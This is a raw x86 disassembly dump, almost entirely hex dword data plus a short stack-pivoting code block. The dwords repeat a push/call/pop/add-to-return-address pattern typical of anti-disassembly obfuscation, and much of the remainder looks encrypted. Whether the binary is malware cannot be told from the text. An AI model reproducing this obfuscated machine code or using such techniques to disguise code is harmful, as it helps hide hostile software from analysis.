dd 6A5F07h, 860Fh, 6A0000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0DBC35545h, 46F9E4BDh, 5EBC9CEEh, 4195FFA2h dd 8D07E034h, 0E3A3939Dh, 0F7816607h, 0FFF8C70Ah, 0A9BD8BD3h dd 0FF07E010h, 0E020FD85h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0DAFBD1B0h dd 9054F27h, 6860Fh, 95890000h, 7E01D1Dh, 816E9h, 0E800h dd 815D0000h, 0E42B56EDh, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0EE95414h dd 3D000000h, 0A469AAD8h, 0D7E55712h, 334BEC5Ch, 91BD81BAh dd 0D007E013h, 0F000007h, 15986h, 0FE900h, 0EB650000h dd 9D83B334h, 0DBF164AFh, 2009E5E9h, 759D8BA1h, 6A07E014h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0BF3AC350h, 0C8313BBh, 100E381h, 0BD8B0000h dd 7E0188Dh, 0CE8h, 1ADA9400h, 0E32F099Ah, 34B76823h, 0B5FF56Fh dd 8E850FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 4B66C356h, 0F6D38DFDh dd 0F9958934h, 8307E02Eh, 0E4297EBDh, 840F0007h, 22h, 5EE9h dd 178E0F00h, 0E8000000h, 11h, 37BC435Ch, 0D5BFE32Bh, 7A12949h dd 0A1FF670Bh, 85C75FFDh, 7E4297Eh, 1, 0E9FB8B66h, 2Fh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8FC35141h dd 79BD8E42h, 1CC061Ch, 7E85C7CEh, 7E429h, 8D000000h, 0E014759Dh dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 6F6351EAh, 2FE99D29h, 238107E0h, 0FFFFFEFFh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 65C35040h dd 1CF5BD8Bh, 840F07E0h, 6, 1209B50Bh, 8C6607E0h, 52006ADBh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0ADCDA452h, 0F04C3F6h, 7784h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0E995FF5Bh dd 6A07E01Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 21D5C351h, 0CE9h, 215B6800h, 6204C7B7h dd 0E5CF89D8h, 489509Fh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8D89834Eh, 7E0141Dh, 3F7E9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0B893273Eh, 0A1F0C024h, 0F18B2E08h, 0DF60E681h dd 0B02B4Dh, 3D53BF66h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 4A60BBC3h, 0E4F6BF0Fh dd 0D8B60F71h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 25C35545h, 0C781E80Eh, 3CC0A947h, 6BAh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0EB6062BCh, 6AC38BE1h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8960C357h, 0E02CED85h dd 4E8C107h, 66FBBF0Fh, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 2EB427C3h, 213D3854h dd 0FCD82B81h, 0BE95050h, 0C000000h, 75FB9A9Ch, 3D7B2818h dd 895E98B2h, 8A0F241Ch, 19h, 10E8h, 0CCF34800h, 0FDE3F1FCh dd 749BFE55h, 5793B41Ah, 0F1B70F5Ch, 91B5FF5Fh, 0F07E013h dd 95FFFEB7h, 7E018A9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0C2C35343h, 0C6B52EB7h, 0EE81FAC1h, 1C8CB78Ch dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 0ED5FB5C3h, 6DB4BCD2h, 8B92BAD8h, 6A70E6F1h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 1C43C357h, 2371E4B0h, 0E01D61B5h, 0F613C07h dd 23B83h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 9842A979h, 0FA293D1h, 6AD8B6h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 0E3458C3h, 6BA1B09h, 89000000h, 0E02C6D8Dh, 56C38B07h dd 6663D681h, 0C15F713Ch, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0FF9FC8C3h, 0E2F766F5h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1DC35747h dd 34CE13CBh, 0D82B8714h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 53C35646h, 78B3BB5Fh, 0D8DE146Dh, 6A5815h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 0C5603CC3h, 59BD03BEh, 2B07E005h, 45880FD8h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8B89C356h, 5BD29F9h, 0B907E01Eh, 7, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8AC35747h, 0D11621D8h dd 32374D21h, 0C1836Ch, 109BF66h, 860FD93Bh, 0E8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DBC35646h, 0AB99B6F7h dd 50EEB2C3h, 0BA666021h, 9509C797h, 7E01885h, 0D98C6661h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 2AC35747h dd 0FE9h, 32D41600h, 0C9604BBh, 0FE9AB1FCh, 26F83472h dd 0F04C1F6h, 7384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0B761E00Fh, 3E5B3F87h dd 0D59D899Bh, 0FF07E028h, 0E01AE995h, 9D295007h, 7E02381h dd 0B5335B5Eh, 7E02371h, 0E8B941BFh, 2BC32B45h, 0E020A9BDh dd 0FFB70F07h, 8343Dh, 19860F00h, 0F000000h, 8166F1B7h dd 0E9F557C6h, 14h, 68E0Fh, 85890000h, 7E01549h, 0BD8BC08Bh dd 7E006E5h, 0D88BC38Bh, 0FBF8BE66h, 20E985C7h, 53B307E0h dd 0BD311CF8h, 7E01B21h, 840FC08Bh, 4, 13D0BE66h, 1391BD81h dd 7D007E0h, 850F0000h, 48h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0D5C35747h, 8D895BEAh, 7E01AE5h dd 5FEF8166h, 0FFF08BEFh, 0E0139185h, 12E907h, 0AFA20000h dd 0DB0685F3h, 710FFBC4h, 7CA11C22h, 67981805h, 1391B5FFh dd 0FE907E0h, 0E8000000h, 27C63317h, 36E8B32Bh, 9A0FDEB5h dd 95FF9F6Ch, 7E018A9h, 4079EE81h, 6A9042E0h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 63EEC357h, 77ABCD62h, 6AF78Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 217CDDC3h, 6DBD8B12h dd 3107E014h, 0E02E5585h, 0FE8B6607h, 0AB9F7CBEh, 198B0F06h dd 0E8000000h, 10h, 39D93DE0h, 4869269Fh, 0BD657C81h, 0BDA8689Eh dd 5EF08B66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 33C35646h, 6A2EA3h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 798675C3h, 0E94C3257h dd 10h, 0B21FFC52h, 0D159C7B2h, 0C68FA362h, 8642D75Bh dd 0E88493BEh, 11E849h, 5380000h, 183FCECCh, 50710DF2h dd 531DF64Ah, 56A0BE71h, 19419D01h, 880F07E0h, 0 dd 35FFC5Fh, 0E021ADB5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0E0E37E4Bh, 0EDBC0F5h dd 0BD8B5E06h, 7E02891h, 0FFF7F0E9h, 0DBD89FFh, 0E907E02Fh dd 15h, 1154DAFAh, 4 dup(0) dd 56BE900h, 0C9B10000h, 3C23F50Fh, 0B3986A84h, 260FE1FBh dd 0A082546Eh, 4E77CCE6h, 233DF7D9h, 99B36D51h, 122CE4C7h dd 86A05A40h, 1998BBA6h, 6521D66Eh, 452B59F3h, 0A688868Bh dd 1A00D2ECh, 775D5B60h, 1655B8BDh, 0BAA0BEF3h, 3FF9DD29h dd 150F1568h, 0FE71762Eh, 0CD1AB3DFh, 0D09B4924h, 49F855CAh dd 1175866Fh, 0F5FB1978h, 0D5CCD17Ch, 35EFD5CFh, 230AE41Bh dd 79B97712h, 832E4DE5h, 0B9F81B7Eh, 0C529BA6Dh, 0C7C1C772h dd 0D6152CE4h, 0BA6DFEB3h, 1F257829h, 5008EBBDh, 0AF694D4Bh dd 719DB4AAh, 681ECE2Ch, 0DED7DB03h, 30766845h, 0B10E8389h dd 0E0C58467h, 2C637D28h, 0ACB16952h, 0E610B85Ch, 9B460943h dd 454B05E9h, 0A6AB654Bh, 0D0E10443h, 0A629BA4Fh, 0A40A4D53h dd 0F729BA4Fh, 57555A12h, 43B6BB75h, 456EB10Eh, 2561BF14h dd 4E5434BBh, 3Ah, 84452B98h, 0EDE4E9A1h, 0B9F63D42h, 6F29BAA0h dd 5F8BE13Eh, 785434EAh, 1, 85442BC2h, 0EAE1E69Eh, 553C3A3Fh dd 0B19A989Dh, 4C81F4F9h, 6BEA5F7h, 7A341AECh, 87C66660h dd 0BAA14D64h, 0D2D62929h, 42F5264Bh, 0C5BFC55Bh, 0E61229E3h dd 0DCC06834h, 0B2AE1E22h, 0E0DE2B31h, 0EB2A41F9h, 0B9BAE9C8h dd 3C429529h, 550FF1EFh, 476B5250h, 0B9BA8D24h, 0EB96E929h dd 0F29D96E6h, 0C89437A7h, 8DD02DE2h, 81CB2871h, 94CBE59Fh dd 1419D1BAh, 0CC846B1Dh, 0D0CAD0C7h, 3F1930EAh, 0A79EA35Dh dd 715654A1h, 0F758B4B9h, 0B416449Ah, 91415434h, 8B000000h dd 23492Bh, 29BAA0B1h, 0B8CF7ACDh, 0FFB99F79h, 0A90803FAh dd 0D529BAA0h, 312F7C82h, 1C8F944Ch, 5E408AE7h, 0D6B88AA4h dd 3019171Ch, 0CC177378h, 0ABFB7DA0h, 7258DF38h, 92070DB8h dd 0BCB3DF3Dh, 71DC5434h, 0E9000000h, 696F290Fh, 8F492B47h dd 0FE3E4C78h, 0B2DDEF30h, 7E615FACh, 4D70AFC6h, 29BA0F64h dd 2C15C71Ah, 23216E74h, 807E833Dh, 0E1DFE49Eh, 463D42FAh dd 0FE48A566h, 0D1B7621Ch, 9375C71Ch, 1496C2D9h, 4C3D2E70h dd 0FEF85A60h, 878C442Bh, 0BAA16E40h, 924A2D29h, 0EEA68F8Dh dd 4B05EBE9h, 0AE6F4F46h, 0B4E50E51h, 0EAC5015Fh, 1EE5434h dd 38000000h, 0A287462Bh, 4045FFE3h, 0A2999E49h, 0EF4F2F7h dd 2C594F54h, 0E8A085D7h, 0C17EA2CEh, 69486BAAh, 1529BAA1h dd 702A10C2h, 8DCC0B6Ah, 0BAA1476Ah, 4D702F29h, 29BAA164h dd 51CC71Ah, 0BAA0CFE2h, 4E54A729h, 5A9F5F0Bh, 987F592Eh dd 493CDCE0h, 350DA252h, 0B8BD102Fh, 36DE2955h, 0D0A3C050h dd 362D32ECh, 0A58B858Bh, 19FFD1EBh, 9C135A5Fh, 0FF21DA2Ah dd 5D5B6018h, 0C5BBC078h, 12F83B98h, 7751005Dh, 0DCD6DC94h dd 4B253CF6h, 0B1A8AD67h, 917749ABh, 0EED4D2D7h, 878C442Dh dd 0E6EBA589h, 829944EFh, 0FCB2C3A8h, 7EE24EE8h, 0F7444AF5h dd 3AE9468Fh, 0DAA4A00Eh, 0ABB1DD26h, 0F711CBB1h, 0D464ED19h dd 1040653h, 0D1500000h, 0B6D9F04Fh, 2E5A8720h, 9F573C96h dd 0BF1EFF4h, 7F653751h, 4C6FAEC5h, 21DA7B65h, 0A68EF8E4h dd 0AE85DC02h, 0A08555Bh, 14536A24h, 0DA8BC0F1h, 765CB621h dd 0BE0B11BCh, 66B00D56h, 0CEACC680h, 53D4FF90h, 3FBBh dd 4ED10500h, 15FED8EFh, 0D5F8575Dh, 56455DFCh, 3E182F82h dd 0A69DA25Ch, 0A50C53A0h, 0C8A9BAA1h, 1B06AA07h, 0F1E0031Ah dd 4DD6455Eh, 0CFA9E0FAh, 652E32EAh, 0DD3ACF31h, 7B5D878Dh dd 0F3000000h, 0D9F04FD1h, 5AA4E4B6h, 2075A2Eh, 4A641E04h dd 0EBD19278h, 3A818631h, 21DA9C92h, 38EF44F9h, 9CDBD6F9h dd 50A321DAh, 0B06A504Ah, 89A66A96h, 8E0A4F72h, 1844267Eh dd 43DE57D0h, 245256C5h, 0DB36468Dh, 11648389h, 697DA90Ch dd 35FF41EDh, 0E2C8C2C8h, 3C252328h, 9B817F84h, 903BF3DAh dd 0EFA98D8Bh, 97CCF3EAh, 204DF73Ah, 32F11FC3h, 2561F81Bh dd 8ADD2E5Ah, 87C67670h, 0BAA14D64h, 0D0D62929h, 82B947Ch dd 29BAA0A9h, 0C0D782D5h, 7C1A781h, 919BBE01h, 0A0F32E5Eh dd 0FDB79D9Bh, 4A6DACE3h, 21D66E67h, 0BCB6BC0Fh, 0B4171CD6h dd 8B385D88h, 1F62FB4Ch, 0B5A6AA05h, 0FF424849h, 37260FBEh dd 0C5EB3E8h, 5CDE1326h, 0DB4FAF0h, 90764862h, 2F6ED1D6h dd 65B4A50Ch, 5812F618h, 2B855C53h, 0DAE08B45h, 3A3FF7E0h dd 53475A3Ch, 0ECF7FBAEh, 92909540h, 0C1EDF2ACh, 0B660A300h dd 0A37D3489h, 2FC02BAh, 7648621Ch, 0A3D1D690h, 3, 2B662439h dd 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h, 50308C2h dd 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh, 81E18951h dd 4C1h, 4E98300h, 8B240C87h, 9A682424h, 89000030h, 8956243Ch dd 4C681E6h, 81000000h, 4EEh, 24348700h, 2404895Ch, 0E4338668h dd 46685F07h, 89000006h, 4812424h, 424h, 0EC835800h, 24148904h dd 8BAh, 89C20100h, 48B5A3Ah db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_554887 ; --------------------------------------------------------------------------- dd 46D6809h, 3874B8D0h, 0C50307E4h, 0E82AE0FFh, 0C4B37BA3h dd 0CBB97B9Bh, 5692589Dh, 0C18B632Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 8EC35242h, 0CCF2516Bh, 9D09E5CDh dd 7E031A9h, 4EBh, 0BE660000h, 6A08B9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8D29DDC3h dd 7E01831h, 800Fh, 858D0000h, 7E013C9h, 0B4C7BE66h, 0D18B6090h dd 8B665061h, 0F88B90F0h, 0BD89006Ah, 7E001CDh, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 26B50EC3h, 810F2487h, 6, 1181BD89h, 858D07E0h, 7E43AA7h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 90C35040h dd 10F687D8h, 0E5BD897Eh, 6007E021h, 8361F88Bh, 6A05C0h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 8502F5C3h, 9D0987BFh, 7E01FD5h, 0BF525090h, 4D999E8Ch dd 0DEBE310Fh, 5A39926Fh, 0F78B5058h, 8C0F6090h, 6, 880Fh dd 6A610000h, 7FBF6600h, 81006ADFh, 857A7CDFh, 4195FF34h dd 6607E034h, 9D8DF28Bh, 7E3A393h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 3BC35545h, 2DA59589h, 0D3FF07E0h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BC35343h dd 8F9C8FD9h, 8B0DC539h, 0FD85FFFEh, 0F07E020h, 680h, 25858900h dd 0E907E006h, 7E2h, 0E8h, 0ED815D00h, 7E43AB1h, 81F38B66h dd 0E01391BDh, 7D007h, 2C860F00h, 8B000001h, 0E01C51BDh dd 0A19D8B07h, 6A07E016h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0DAEEC356h, 69B9E89Ch dd 6DBD8BE9h, 8107E02Eh, 100E3h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 27868B69h dd 0F518D86Bh, 11E8h, 0BBA82600h, 0EB2D285Ah, 0B3F12C3Ch dd 0B21E254Eh, 0BD33573Bh, 7E030E5h, 0CE95Eh, 0E40D0000h dd 50E10109h, 0A6B43F5Ah, 0DB0BF816h, 77850Fh, 0BE660000h dd 0F38BD2FDh, 3936BD83h, 0F0007E4h, 4E84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 7B79121Eh, 12E9DC3Ch, 0AC000000h, 70CEF703h, 0DC1EE7DDh dd 32A81717h, 0F1A05727h, 698D89DFh, 0E907E01Ah, 2Bh, 0F7B70F53h dd 71BD8B5Eh, 0C707E020h, 0E4393685h, 107h, 79F78100h dd 0E9302DFEh, 0Bh, 3685C7F8h, 7E439h, 8D000000h, 0E016A19Dh dd 0E5BD2907h, 8107E020h, 0FFFEFF23h, 0BF6657FFh, 665FDBB7h dd 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 66484BC3h, 0D72DD681h, 0F04C3F6h, 7784h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0FCF3F857h, 95FF23AEh, 7E01AE9h, 7E8h, 0FC3D5500h dd 3B5ADF0h, 7A5BD8Bh, 505E07E0h, 3890Fh, 8B660000h, 240489F3h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DAC35343h dd 8B66B2FEh, 0AE9F1h, 4BD40000h, 19F5ABDBh, 0D2CC493Eh dd 3D2E9h, 12E900h, 34420000h, 519F9A88h, 0FF0AF3DEh, 17EFF72Ah dd 0A48B17B0h, 0B52900B0h, 7E0154Dh, 896070E6h, 0E023158Dh dd 8961F507h, 0E015698Dh, 6A71E407h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0ADB5C355h dd 9FF160E8h, 0BE66A56Eh, 0B60F17D0h, 72E3BED8h, 6BA161Eh dd 0F8000000h, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 8660A7C3h, 4CDFF07Eh, 890F7E7Eh dd 3, 0C1FBBF0Fh, 6A04E8h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8529ACC3h, 7E025ADh dd 6AE2F766h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0B4CAC356h, 813FC5C3h, 78B2B1CFh dd 6AD82B7Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 780CC355h, 600DD71Ch, 18E0Fh dd 89F90000h, 0E006DD95h, 66936107h, 50F59DBFh, 48A0F93h dd 53000000h, 0FF5E5F53h, 0E01391B5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FA5D4CFh, 385h, 0FABF0F00h, 10A98529h, 95FF07E0h, 7E018A9h dd 0DDBD8B60h, 0F07E030h, 685h, 9DB58900h, 6107E02Dh, 6A00B0h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 4FEDCAC3h, 84C3E5CBh, 8B353B08h, 65BD8BF2h, 0E607E014h dd 0EE970h, 0FFF30000h, 36045B5Dh, 2BA051A9h, 0AA82826Ah dd 6A71E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 37D659C3h, 4A696895h, 613C9225h, 1ED830Fh dd 0DE90000h, 95000000h, 0FA809F83h, 7218B42h, 0D793348Bh dd 29D8B60Fh, 0E025FDB5h, 0DAD78107h, 0BA39014Fh, 6, 1361B58Bh dd 0C38B07E0h, 0B800Fh, 6E90000h, 52000000h, 0A886A21Ah dd 4E8C19Bh, 66F28B66h, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 3C44E0C3h, 0F519589h dd 0D82B07E0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0A9C35747h, 0FE958h, 24400000h, 0B6C16A88h, 63C9AC73h dd 0BB864767h, 0FD82B08h, 14688h, 7B9F800h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0CC0BC353h, 0E20E3F14h, 69B50B19h, 8307E01Ah dd 8C0F00C1h, 0Ah, 5E9h, 0BDCBE700h, 0D93B3894h, 0FD860Fh dd 9E90000h, 0C4000000h, 91DB79B2h, 5C53926Bh, 8C665E57h dd 0C1F6F9D9h, 0B3840F04h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 6A5EC357h dd 8169C1C7h, 66F08B93h, 606DF681h, 1AE995FFh, 0BD0B07E0h dd 7E00559h, 6840Fh, 0BD8B0000h, 7E010C1h, 0FB8B665Bh dd 6AC32Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0C5B161C3h, 276C4275h, 8B66CB21h, 8343DF7h dd 860F0000h, 3Ah, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0E1C35040h, 0E889CB83h, 0EFED6ABCh, 5860Fh dd 5FBE0000h, 0E9653A1Ah, 33h, 1CCDB58Bh, 0C08B07E0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 89C35242h, 94247C8Ah dd 6BD31081h, 9D9589E4h, 8B07E004h, 6AD88BC3h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 9C1C356h, 0E02DB58Dh, 7585C707h, 7107E014h, 89709633h dd 0E012699Dh, 8BC08B07h, 91BD81F3h, 0D007E013h, 0F000007h dd 5A85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 36A995CEh, 29683A44h, 0E01EBD85h dd 9185FF07h, 6A07E013h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0AF01C352h, 4DE17498h, 0BF669B77h, 8166F531h dd 0FF7ED9DEh, 0E01391B5h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0BD8BEC13h dd 7E01D1Dh, 18A995FFh, 858907E0h, 7E026E5h, 56006A90h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0EE807h, 0EA410000h, 0CF2A278Fh, 0F7FCEAFCh, 1C3C3B21h dd 1931B58Bh, 605F07E0h, 15F59589h, 0E96107E0h, 5, 0F621B806h dd 51006A3Ah, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0E542447Eh, 8BA2DBD4h, 0E023BDBDh, 31B58B07h dd 6A07E010h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 8BC2C357h, 0E020A9B5h, 1D9D8907h dd 2907E02Bh, 0E012699Dh, 2D952907h, 0F807E02Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 50C35242h, 0B8359A7Eh dd 6620F9E6h, 6AF98Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 78BEF9C3h, 0BD8BD3CEh, 7E000E5h dd 6AF18B66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 6A47C357h, 9691946h, 0C9D288DCh dd 2919BD8Bh, 0BF6607E0h, 31E9AADAh, 0FFFFFF8h, 88Ah, 895E5300h dd 0E01AD1B5h, 0DF816607h, 6A60699Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0B596C352h dd 20AC9CBEh, 29DB8166h, 0FFFEB953h, 6AFFFFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 1F72EBC3h dd 3840FA8h, 66000000h, 8D21FA8Bh, 7E01359h, 0CE9h, 0E5B71F00h dd 0EB294377h, 9D2798D8h, 0CE82Bh, 0AAB20000h, 2C33E5FBh dd 3BD6B5BEh, 215E588Bh, 0E000E18Dh, 8D8BF507h, 7E01359h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D5C35141h dd 0FDC3EC74h, 9D8B6A75h, 7E02C35h, 0F01E183h, 2985h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 64C0189Dh, 66BD6CE0h, 0B815E281h, 8D8BD38Bh, 7E000E1h dd 191BD09h, 0E18307E0h, 6850F01h, 81000000h, 0D6C7ADCFh dd 6A606115h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0F4C5C350h, 5CB9D5AFh, 4D881EEh dd 0B93B2321h, 0FFFFFFFEh, 1555858Bh, 21F907E0h, 0E008BD8Dh dd 92E88107h, 6651330Ch, 2125E5BAh, 0E01B1D8Dh, 1958907h dd 8B07E023h, 0E008BD8Dh, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0D2D8217h dd 0F01E183h, 3B85h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 66B78AF2h, 41A77598h dd 10E9h, 84FDE000h, 9914A692h, 5873A2A9h, 0FA8EC9E1h dd 58F85040h, 1B1D8D8Bh, 36007E0h, 0E000CDB5h, 9D896107h dd 7E01C75h, 0F01E183h, 2485h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0E667CCCCh dd 0E780507Eh, 8B60618Ah, 0FFFEB9D9h, 6AFFFFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 593499C3h, 0F1D99B0h, 8D21F7BFh, 7E016A1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 8FC35141h, 0D32AC3E3h dd 7058523h, 8D2107E0h, 7E01E01h, 8B08F680h, 0E016A18Dh dd 398D2907h, 8307E004h, 850F01E1h, 2, 8D8B6FB4h, 7E01E01h dd 19958D89h, 816607E0h, 83FD92EEh, 850F01E1h, 23h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 2CC35040h, 88868286h dd 615C8CACh, 55006A60h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 59B84EFCh, 8166E5BCh, 0B95565C0h dd 0FFFFFFFEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0C1C35545h, 6E9h, 6E840900h, 219030BCh, 0E020E98Dh dd 4DBD8907h, 2107E015h, 0E014758Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 41B6449h, 8BD75176h dd 0E020E98Dh, 1E18307h, 1F850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0FEC608C3h dd 758D8B06h, 6A07E014h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0F75CC351h, 1E18381h dd 38850Fh, 0CE80000h, 79000000h, 0C0E7AF96h, 826DA65Dh dd 0E8468A1Bh, 13h, 533CC000h, 0CAEDC7C6h, 51AFB01Fh, 0F2EB7B4Eh dd 666A45CEh, 5F64DEBAh, 3800F5Fh, 80000000h, 60618AD8h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 84C35242h dd 85C70A21h, 7E01391h, 7D0h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 7C35141h, 6A61DED2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0FB88C356h, 920B3403h, 80D7BF0Fh, 0B509B6EAh, 7E02F6Dh dd 9D6107EBh, 0E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 0AEF161D2h, 9C03EFEh dd 0E02C899Dh, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8070144Fh, 0C18B8ADEh dd 71BD8B60h, 8B07E030h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 